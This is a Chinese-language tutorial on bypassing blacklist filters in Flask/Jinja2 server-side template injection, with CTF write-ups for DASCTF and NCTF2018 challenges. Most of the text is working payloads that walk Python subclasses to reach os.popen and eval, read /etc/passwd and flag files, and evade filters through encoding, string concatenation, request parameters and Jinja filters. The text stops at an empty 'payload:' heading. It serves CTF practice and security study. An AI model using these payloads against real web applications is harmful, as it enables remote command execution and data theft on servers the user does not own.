{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

# {{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}

Flask-jinja2 SSTI Bypass姿势

关键字绕过

利用字符串拼接绕过

我们可以利用“+”进行字符串拼接,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}

只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。

利用编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。

利用Unicode编码绕过关键字(flask适用)

unicode编码绕过是一种网上没提出的方法。

我们可以利用unicode编码的方法,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用Hex编码绕过关键字

和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。

我们可以利用hex编码的方法,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用引号绕过

我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""agfl''ag 的形式来绕过:

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

再如:

().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。

利用join()函数绕过

我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

绕过其他字符

过滤了中括号[ ]

利用 __getitem__() 绕过

可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素,如:

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')

如下示例:

{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性

利用 pop() 绕过

pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性

注意:最好不要用pop(),因为pop()会删除相应位置的值。

利用字典读取绕过

我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例

// __builtins__.eval()

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}

等同于:

// [__builtins__]['eval']()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

过滤了引号

利用chr()绕过

先获取chr()函数,赋值给chr,后面再拼接成一个字符串

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

等同于

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

利用request对象绕过

示例:

{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

等同于:

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。

过滤了下划线__

利用request对象绕过

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

等同于:

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

过滤了点 .

利用 |attr() 绕过(适用于flask)

如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:

().__class__   =>  ()|attr("__class__")

示例:

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}

等同于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用中括号[ ]绕过

如下示例:

{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

等同于:

{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

这样的话,那么 __class____bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。

过滤了大括号 {{

我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

也可以使用 {% if ... %}1{% endif %} 配合 os.popencurl 将执行结果外带(不外带的话无回显)出来:

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}

也可以用 {%print(......)%} 的形式来代替 {{ ,如下:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

利用 |attr() 来Bypass

这里说一个新东西,就是原生JinJa2函数 attr(),这是一个 attr() 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。如:

foo|attr("bar")   等同于   foo["bar"]

|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 .[ 等,下面给出示例。

同时过滤了 . 和 []

过滤了以下字符:

.    [

绕过姿势:

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

等同于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

同时过滤了 __ 、点. 和 []

过滤了以下字符:

__    .    [    "

下面我们演示绕过姿势,先写出payload的原型:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

由于中括号 [ 被过滤了,我们可以用 __getitem__() 来绕过(尽量不要用pop()),类似如下:

{{().__class__.__base__.__subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}

由于还过滤了下划线 __,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __[,就用到了我们的|attr()

所以最终的payload如下:

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()

用Unicode编码配合 |attr() 进行Bypass

过滤了以下字符:

'  request  {{  _  %20(空格)  [  ]  .  __globals__   __getitem__

我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。

假设我们要构造的payload原型为:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

先用 |attr 绕过 .[]

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

我们可以将过滤掉的字符用unicode替换掉:

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

用Hex编码配合 |attr() 进行Bypass

和上面那个一样,只不过是将Unicode编码换成了Hex编码,适用于“u”被过滤了的情况。

我们可以将过滤掉的字符用Hex编码替换掉:

{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}

使用 JinJa 的过滤器进行Bypass

在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。

详情请看官方文档:https://jinja.palletsprojects.com/en/master/templates/#builtin-filters

以下是内置的所有的过滤器列表:

abs() float() lower() round() tojson()
attr() forceescape() map() safe() trim()
batch() format() max() select() truncate()
capitalize() groupby() min() selectattr() unique()
center() indent() pprint() slice() upper()
default() int() random() sort() urlencode()
dictsort() join() reject() string() urlize()
escape() last() rejectattr() striptags() wordcount()
filesizeformat() length() replace() sum() wordwrap()
first() list() reverse() title() xmlattr()

可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。

常用字符获取入口点

  • 对于获取一般字符的方法有以下几种:
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}

如下演示:

{% set org = ({ }|select()|string()) %}{{org}}

上上图所示,我们可以通过 <generator object select_or_reject at 0x7fe339298fc0> 字符串获取的字符有:尖号、字母、空格、下划线和数字。

{% set org = (self|string()) %}{{org}}

如上图所示,可以通过 <TemplateReference None> 字符串获取的字符有:尖号、字母和空格。

{% set org = self|string|urlencode %}{{org}}

如上图所示,可以获得的字符除了字母以外还有百分号,这一点比较重要,因为如果我们控制了百分号的话我们可以获取任意字符,这个在下面第二道题中会讲到。

{% set org = (app.__doc__|string) %}{{org}}

如上图所示,可获得到的字符更多了。

  • 对于获取数字,除了当菜出现的那几种外我们还可以有以下几种方法:
{% set num = (self|int) %}{{num}}    # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}}    # 24, 通过length过滤器获取数字
{% set point = self|float|string|min %}    # 通过float过滤器获取点 .

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。

下面我们通过两道题目payload的构造过程来演示一下如何使用过滤器来Bypass。

[2020 DASCTF 八月安恒月赛]ezflask

题目源码:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)

@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

可以看到题目过滤的死死地,最关键是把attr也给过滤了的话,这就很麻烦了,但是我们还可以用过滤器进行绕过。

在存在ssti的地方执行如下payload:

{% set org = ({ }|select()|string()) %}{{org}}
# 或 {% set org = ({ }|select|string) %}{{org}}

可以看到,我们得到了一段字符串:<generator object select_or_reject at 0x7f06771f4150>,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 <generator object select_or_reject at 0x7f06771f4150> 这个字符串中取到我们想要的字符,从而绕过过滤。

然后我们在使用list()过滤器将字符串转化为列表:

{% set orglst = ({ }|select|string|list) %}{{orglst}}

如上图所示,反回了一个列表,列表中是 <generator object select_or_reject at 0x7f06771f4150> 这个字符串的每一个字符。接下来我们便可以使用使用pop()等方法将列表里的字符取出来了。如下所示,我们取一个下划线 _

{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}}    # _

同理还能取到更多的字符:

{% set space = (({ }|select|string|list).pop(10)|string) %}{{spa}}    # 空格
{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}}    # _
{% set zero = (({ }|select|string|list).pop(38)|int) %}{{zero}}    # 0
{% set seven = (({ }|select|string|list).pop(40)|int) %}{{seven}}    # 7
......

这里,其实有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算,如下示例:

{% set zero = (({ }|select|string|list).pop(38)|int) %}    # 0
{% set one = (zero**zero)|int %}{{one}}    # 1
{%set two = (zero-one-one)|abs %}    # 2
{%set three = (zero-one-one-one)|abs %}    # 3
{% set five = (two*two*two)-one-one-one %}    # 5
#  {%set four = (one+three) %}    注意, 这样的加号的是不行的,不知道为什么,只能用减号配合abs取绝对值了
......

通过上述原理,我们可以依次获得构造payload所需的特殊字符与字符串:

# 首先构造出所需的数字:
{% set zero = (({ }|select|string|list).pop(38)|int) %}    # 0
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串:
{% set xhx = (({ }|select|string|list).pop(24)|string) %}    # _
{% set space = (({ }|select|string|list).pop(10)|string) %}    # 空格
{% set point = ((app.__doc__|string|list).pop(26)|string) %}    # .
{% set yin = ((app.__doc__|string|list).pop(195)|string) %}    # 单引号 '
{% set left = ((app.__doc__|string|list).pop(189)|string) %}    # 左括号 (
{% set right = ((app.__doc__|string|list).pop(200)|string) %}    # 右括号 )

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc=bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set os = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx*2~but~xhx*2 %}    # __builtins__

将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read()

{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

如上图所示,成功构造出了 __import__('os').popen('cat /flag').read()

然后将上面构造的各种变量添加到SSTI万能payload里面就行了:

{% for f,v in whoami.__init__.__globals__.items() %}    # globals
    {% if f == bul %} 
        {% for a,b in v.items() %}    # builtins
            {% if a == ev %}    # eval
                {{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()")
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

所以最终的payload为:

{% set zero = (({ }|select|string|list).pop(38)|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs|int %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set xhx = (({ }|select|string|list).pop(24)|string) %}{% set space = (({ }|select|string|list).pop(10)|string) %}{% set point = ((app.__doc__|string|list).pop(26)|string) %}{% set yin = ((app.__doc__|string|list).pop(195)|string) %}{% set left = ((app.__doc__|string|list).pop(189)|string) %}{% set right = ((app.__doc__|string|list).pop(200)|string) %}{% set c = dict(c=aa)|reverse|first %}{% set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set os = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx*2~but~xhx*2 %}{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in whoami.__init__.__globals__.items() %}{% if f == bul %}{% for a,b in v.items() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

如上图所示,成功执行命令并得到了flag。

[2021 MAR & DASCTF]baby_flask

当时这道题没做出来,这里我们在本地使用vulnhub中的flask搭建环境进行复现:

/getname?name= 处存在SSTI。

F12查看源代码发现提示过滤了一下字符:

blacklist</br>   
'.','[','\'','"','\\','+',':','_',</br>   
'chr','pop','class','base','mro','init','globals','get',</br>   
'eval','exec','os','popen','open','read',</br>   
'select','url_for','get_flashed_messages','config','request',</br>   
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>

过滤的死死地,甚至将所有的数字都过滤了。我们仍然可以使用通过滤器进行绕过,经过之前那道题的演示,我们可以很容易的构造出被过滤了的字符或字符串。

Payload构造过程如下:

# 首先构造出所需的数字: 
{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串: 
{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: 
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}    # globals
    {% if f == bul %} 
        {% for a,b in (v|attr(itm))() %}    # builtins
            {% if a == ev %}    # eval
                {{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()")
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

过滤了request和class

这里除了用上面中括号或 |attr() 那几种方法外,我们还可以利用flask里面的session对象和config对象来逃逸这一姿势。

下面通过NCTF2018的两道flask题目来仔细讲解。

[NCTF2018]flask真香

打开题目一看,是一个炫酷的demo演示,这种demo一般是没有啥东西好挖的。首先F12信息收集,发现Python版本是3.5.2,没有Web静态服务器。

随便点开第二个demo发现404了,这里注意到404界面是Flask提供的404界面,按照以往的经验,猜测这里存在SSTI注入。

先尝试简单的payload:

从这里可见,毫无疑问的存在SSTI漏洞了。

那么就来康康到底有没有WAF,有的话被过滤了哪些。经过一番测试,确实很多东西都被过滤了,而且是正则表达式直接匹配删去,无法嵌套绕过。不完整测试有以下:

config
class
mro
args
request
open
eval
builtins
import

从这里来看,似乎已经完全无法下手了。因为request和class都被过滤掉了。

卡在这里以后,最好的办法就是去查Flask官方文档了。从Flask官方文档里,找到了session对象,经过测试没有被过滤。更巧的是,session一定是一个dict对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。

python:

{{session['__cla'+'ss__']}}

访问到了类,我们就可以通过 __bases__ 来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到最顶层的object基类了。(同样的,如果没有过滤config的话,我们还可以利用config来逃逸,方法与session的相同)

payload:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}

有了对象基类,我们就可以通过访问 __subclasses__ 方法再实例化去访问所有的子类。同样使用字符串拼接绕过WAF,这样就实现沙箱逃逸了。

payload:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'ss__']()}}

SSTI目的无非就是两个:文件读写、执行命令。因此我们核心应该放在file类和os类。而坑爹的是,Python3几乎换了个遍。因此这里得去看官方文档去找相应的基类的用处。

我还是从os库入手,直接搜索“os”,找到了 os._wrap_close 类,同样使用dict键访问的方法。猜大致范围得到了索引序号,我这里序号是312,

payload:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312]}}

我们调用它的 __init__ 函数将其实例化,然后用 __globals__ 查看其全局变量。

payload:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__}}

眼又花了,但我们的目的很明显,就是要执行命令,于是直接搜索 “popen” 就可以了:

由于又是一个dict类型,我们调用的时候又可以使用字符串拼接,绕过open过滤。

后面顺理成章的,我们将命令字符串传入,实例化这个函数,然后直接调用read方法就可以了。

payload:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read()}}

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('cat /Th1s__is_S3cret').read()}}

[NCTF2018]Flask PLUS

看到又是Flask,后面又加了PLUS,想必内容肯定没变,应该是过滤内容增加了。

打开题目康康,果然还是demo,随便造一个404,还是那个界面。

直接拿上一道题的payload去找所有的类,果然还是那么多。找到 os._wrap_close 类,打一发上次的payload,结果炸了:

也就是说,这里更新了过滤的内容,需要bypass。

我们来探测了一下,发现这次又加了一些过滤:

__init__
file
__dict__
__builtins__
__import__
getattr
os

完蛋了了,很多方法被过滤了之后,几乎无法访问到我们所需要的方法。

到这里,我们本地机测试一下,看看有哪些方法我们可以用的:

这里我们注意到了__enter__方法,查看其内容,发现其竟然有 __globals__ 方法可用,也就是说这个__enter__方法与 __init__ 方法一模一样。

这里摘抄下一段stack overflow的一段话

这里摘抄下一段stack overflow的一段话

  • __init__ (allocation of the class)
  • __enter__ (enter context)
  • __exit__ (leaving context)

因此 __enter__ 仅仅访问类的内容,但这已经可以达到我们所需要的目的了。

构造payload:

